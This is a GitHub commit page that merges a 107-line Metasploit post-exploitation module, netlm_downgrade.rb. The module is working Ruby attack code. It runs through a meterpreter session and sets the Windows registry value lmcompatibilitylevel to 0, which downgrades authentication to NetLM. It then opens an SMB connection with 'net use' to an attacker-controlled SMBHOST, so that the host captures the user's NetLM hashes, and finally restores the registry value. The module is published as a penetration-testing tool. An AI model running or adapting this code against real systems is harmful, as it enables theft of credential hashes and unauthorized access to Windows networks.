Skip to content

Commit cfcd1ea

Browse files
committed
Merge branch 'netlm_downgrade.rb' of git://github.com/zeknox/metasploit-framework into zeknox-netlm_downgrade.rb
2 parents 2818e53 + 433532d commit cfcd1ea

File tree

1 file changed

+107
-0
lines changed

1 file changed

+107
-0
lines changed
Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
##
2+
# $Id: netlm_downgrade.rb
3+
##
4+
5+
##
6+
# This file is part of the Metasploit Framework and may be subject to
7+
# redistribution and commercial restrictions. Please see the Metasploit
8+
# web site for more information on licensing and terms of use.
9+
# http://metasploit.com/
10+
##
11+
12+
require 'msf/core'
13+
require 'rex'
14+
require 'msf/core/post/windows/registry'
15+
require 'msf/core/post/windows/services'
16+
require 'msf/core/post/common'
17+
18+
class Metasploit3 < Msf::Post
19+
20+
include Msf::Post::Windows::Registry
21+
include Msf::Post::Windows::WindowsServices
22+
include Msf::Post::Common
23+
include Msf::Post::Windows::Priv
24+
25+
def initialize(info={})
26+
super(update_info(info,
27+
'Name' => 'Windows NetLM Downgrade Attack',
28+
'Description' => %q{ This module will change a registry value to enable
29+
the sending of LM challenge hashes and then initiate a SMB connection to
30+
the SMBHOST datastore. If an SMB server is listening, it will receive the
31+
NetLM hashes
32+
},
33+
'License' => MSF_LICENSE,
34+
'Author' => [ 'Brandon McCann "zeknox" <bmccann [at] accuvant.com>', 'Thomas McCarthy "smilingraccoon" <smilingraccoon [at] gmail.com>'],
35+
'SessionTypes' => [ 'meterpreter' ],
36+
'References' => [
37+
[ 'URL', 'http://www.fishnetsecurity.com/6labs/blog/post-exploitation-using-netntlm-downgrade-attacks']
38+
]
39+
))
40+
41+
register_options(
42+
[
43+
OptAddress.new( 'SMBHOST', [ true, 'IP Address where SMB host is listening to capture hashes.' ])
44+
], self.class)
45+
end
46+
47+
# method to make smb connection
48+
def smb_connect
49+
begin
50+
print_status("Establishing SMB connection to " + datastore['SMBHOST'])
51+
cmd_exec("cmd.exe","/c net use \\\\#{datastore['SMBHOST']}")
52+
print_status("The SMBHOST should now have NetLM hashes")
53+
rescue
54+
print_error("Issues establishing SMB connection")
55+
end
56+
end
57+
58+
# if netlm is disabled, enable it in the registry
59+
def run
60+
# if running as SYSTEM exit
61+
if is_system?
62+
# running as SYSTEM and will not pass any network credentials
63+
print_error "Running as SYSTEM, should be run as valid USER"
64+
return
65+
else
66+
subkey = "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\"
67+
v_name = "lmcompatibilitylevel"
68+
begin
69+
netlm = registry_getvaldata(subkey, v_name)
70+
rescue
71+
print_error("Issues enumerating registry values")
72+
end
73+
74+
if netlm == 0
75+
print_status("NetLM is already enabled on this system")
76+
77+
# call smb_connect method to pass network hashes
78+
smb_connect
79+
else
80+
begin
81+
print_status("NetLM is Disabled: #{subkey}#{v_name} == #{netlm.to_s}")
82+
registry_setvaldata(subkey,v_name,0,"REG_DWORD")
83+
rescue
84+
print_error("Issues modifying registry value")
85+
end
86+
87+
begin
88+
post_netlm = registry_getvaldata(subkey, v_name)
89+
print_good("NetLM is Enabled: #{subkey}#{v_name} == #{post_netlm.to_s}")
90+
rescue
91+
print_error("Issues enumerating registry values")
92+
end
93+
94+
# call smb_connect method to pass network hashes
95+
smb_connect
96+
97+
# cleanup the registry
98+
begin
99+
registry_setvaldata(subkey,v_name,netlm,"REG_DWORD")
100+
print_status("Cleanup Completed: #{subkey}#{v_name} == #{netlm.to_s}")
101+
rescue
102+
print_error("Issues cleaning up registry changes")
103+
end
104+
end
105+
end
106+
end
107+
end

0 commit comments

Comments
 (0)